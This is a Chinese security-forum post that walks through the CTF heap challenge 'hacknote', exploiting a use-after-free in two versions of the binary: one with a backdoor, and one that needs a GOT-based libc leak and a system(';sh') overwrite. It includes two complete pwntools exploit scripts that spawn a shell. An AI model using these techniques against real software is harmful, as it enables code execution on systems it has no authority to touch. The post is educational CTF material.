安全矩阵

 找回密码
 立即注册
搜索
查看: 3834|回复: 0

堆重启_uaf_hacknote

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-14 19:16:30 | 显示全部楼层 |阅读模式
原文链接:堆重启_uaf_hacknote

参考链接http://blog.eonew.cn/archives/490
https://blog.csdn.net/weixin_44864859/article/details/107181869


这里记录下经典的含有后门的UAF漏洞程序。
//hacknote    最简单的堆题目      libc 2.23
以及 含后门的UAF漏洞程序 //hacknote先看第一个含有后门的UAF漏洞程序:

查看文件相关属性及开启保护
32位elf程序,没有去符号。// 给源代码会更香。
只开启了NX保护。
  1. $ file hacknote_backdoor
  2. hacknote_backdoor: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
  3. interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44ee75c492628b3691cdcdb07759e9bbe551644a, not stripped

  4. $ checksec  hacknote_backdoor  
  5. [*]
  6.     Arch:     i386-32-little
  7.     RELRO:    Partial RELRO
  8.     Stack:    No canary found
  9.     NX:       NX enabled
  10.     PIE:      No PIE (0x8048000)
复制代码

ida代码分析:

add_note:

其中 print_note_content函数为:


del_note:

print_note:


另外程序中含有 后门:


思路:创建2个0x18大写的chunk 此时:


然后依次删除 结构体下标为 0 和 1

然后我们申请 个 和固定大小一致的结构体即可。
往新申请的content_addr中 写入 后门函数地址。

最后只要 print 结构体即可 拿到shell。
完整exp:
  1. #coding:utf8
  2. from pwn import *
  3. context.log_level="debug"
  4. p=process("./hacknote_backdoor")
  5. #p=remote("node3.buuoj.cn",29525)
  6. elf=ELF("./hacknote_backdoor")
  7. libc=ELF("/lib/i386-linux-gnu/libc.so.6")

  8. def add(size,content):
  9.   p.sendlineafter("Your choice :","1")
  10.   p.sendlineafter("Note size :",str(size))
  11.   p.sendlineafter("Content :",content)

  12. def delete(index):
  13.   p.sendlineafter("Your choice :","2")
  14.   p.sendlineafter("Index :",str(index))

  15. def show(index):
  16.   p.sendlineafter("Your choice :","3")
  17.   p.sendlineafter("Index :",str(index))

  18. '''
  19. text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
  20. print "text_base : "+hex(text_base)
  21. print "jiegoutishuzu : "+hex(text_base+0x202040)
  22. '''

  23. magic=0x08048945
  24. notelist=0x0804A048

  25. add(0x18,"\x11"*8)  #1 #2
  26. add(0x18,"\x22"*8)  #3 #4
  27. #gdb.attach(p)
  28. delete(0)
  29. delete(1)
  30. #gdb.attach(p)

  31. pd=p32(magic)

  32. add(0x8,pd)
  33. #gdb.attach(p)

  34. show(0)

  35. p.interactive()
复制代码

无后门的hacknote
如果题目把后门去掉呢?这里同时也去除了符号。除此之外,程序其它几乎一摸一样.

  1. $ file hacknote
  2. hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped

  3. $ checksec hacknote
  4. [*]
  5.     Arch:     i386-32-little
  6.     RELRO:    Partial RELRO
  7.     Stack:    Canary found
  8.     NX:       NX enabled
  9.     PIE:      No PIE (0x8048000)
复制代码
这里先把 此程序的 数据结构给写下呢。
  1. typedef struct note //0x10
  2. {
  3.     void (* puts)(note *);
  4.     char *note_content;
  5. }note;

  6. note *ptr[5];
复制代码

思路:
因为没有后门,那么首先的一件事就是 去leak libc.
这题在add函数中,maloc一个size=0x10的chunk作为note结构体,然后又申请一个任意大小(我们可控制的)的chunk作为note_content的指针。
所以 我们可以去申请一个unsigned 大小的chunk,然后再将它给delete掉,便可以leak libc_base,
嗯嗯,其实并不会,因为这题 在打印 note_content的时候,会调用 该结构体中的  void (* puts)(note *)函数。而在我们将它给delete 的时候会将它给置空。导致 无法进行 打印。那么我们要怎么做呢。
这里我原本去想,我们继续和上面有后门的时候一样操作,先申请两个 size不等于0x10的chunk,然后分别进行delete,然后再申请 一个size=0x10的chunk,并在新 malloc的chunk中 写入   void (* puts)(note ) 以及 __libc_start_main的got地址。但这样 我们接下来 就最多只能再malloc 两个结构体了。这样就无法完成 向 某一个 结构体中 void ( puts)(note *); 给改成 system了。//这里进行了尝试 og一个都不可以成功。
所以这里就需要另外的一种做法了。
刚才所说的思路,在首先进行申请两个 size不等于0x10的chunk,然后再将它分别删除,然后再申请,这无疑一下子 将fastbin上的free chunk给利用完了。 而因为 这题限制了 最多我们最多可malloc 5次。
于是 我们可以首先 申请一个 unsigned 大小的chunk,以及一个size=0x10 大小的chunk,然后将它们分别进行delete(这里要特别注意,先delete unsigned 的chunk,后delete 0x10的chunk,原因是 我们可重复对  0x10的结构体 含有的两个chunk 进行利用。)
最后还需要注意的一点就是 在 getshell的步骤中,我们构造pd2=p32(system_addr)+";sh",而不是
pd2=p32(system_addr)+p32(binsh),原因是 print函数中  传的参数是 *note_content .


完整exp :
  1. #coding:utf8
  2. from pwn import *
  3. context.log_level="debug"
  4. p=process("./hacknote")
  5. #p=remote("node3.buuoj.cn",29525)
  6. elf=ELF("./hacknote")
  7. libc=ELF("/lib/i386-linux-gnu/libc.so.6")

  8. def add(size,content):
  9.   p.sendlineafter("Your choice :","1")
  10.   p.sendlineafter("Note size :",str(size))
  11.   p.sendlineafter("Content :",content)

  12. def delete(index):
  13.   p.sendlineafter("Your choice :","2")
  14.   p.sendlineafter("Index :",str(index))

  15. def show(index):
  16.   p.sendlineafter("Your choice :","3")
  17.   p.sendlineafter("Index :",str(index))

  18. '''
  19. text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
  20. print "text_base : "+hex(text_base)
  21. print "jiegoutishuzu : "+hex(text_base+0x202040)
  22. '''
  23. notelist=0x0804A050
  24. print "step1: leak libc "+"************************************************"

  25. add(0x68,"\x11"*8)  #0 #1
  26. add(0x8,"\x22"*8)  #2 #3
  27. #gdb.attach(p)
  28. delete(1)
  29. delete(0)
  30. #gdb.attach(p)

  31. puts_func=0x0804862B
  32. __libc_start_main=elf.got['__libc_start_main']
  33. pd=p32(puts_func)+p32(__libc_start_main)
  34. add(0x8,pd)
  35. show(1)

  36. libc_base=u32(p.recv(4))-libc.symbols['__libc_start_main']
  37. print "libc_base is : "+hex(libc_base)

  38. #binsh = libc.search("/bin/sh").next()+libc_base
  39. #print "binsh is "+ hex(binsh)


  40. system_addr=libc_base+libc.symbols['system']
  41. print "system_addr is "+hex(system_addr)

  42. print "step2: get shell "+"*************************************************"

  43. delete(2)
  44. #gdb.attach(p)


  45. pd2=p32(system_addr)+";sh"#p32(binsh)
  46. add(0x8,pd2)


  47. #gdb.attach(p)
  48. show(1)

  49. p.interactive()
复制代码

相关实验:ARM漏洞利用技术五--堆溢出
https://www.hetianlab.com/expc.do?ec=ECIDf4f4-3f86-44b4-bd4c-e1c88520adde
在堆的情况下,当用户能够写入比预期更多的数据时,会发生内存损坏。通过本实验了解堆溢出,包括intra-chunk和inter-chunk两种类型,分别掌握其特点。













回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 10:44 , Processed in 0.014877 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表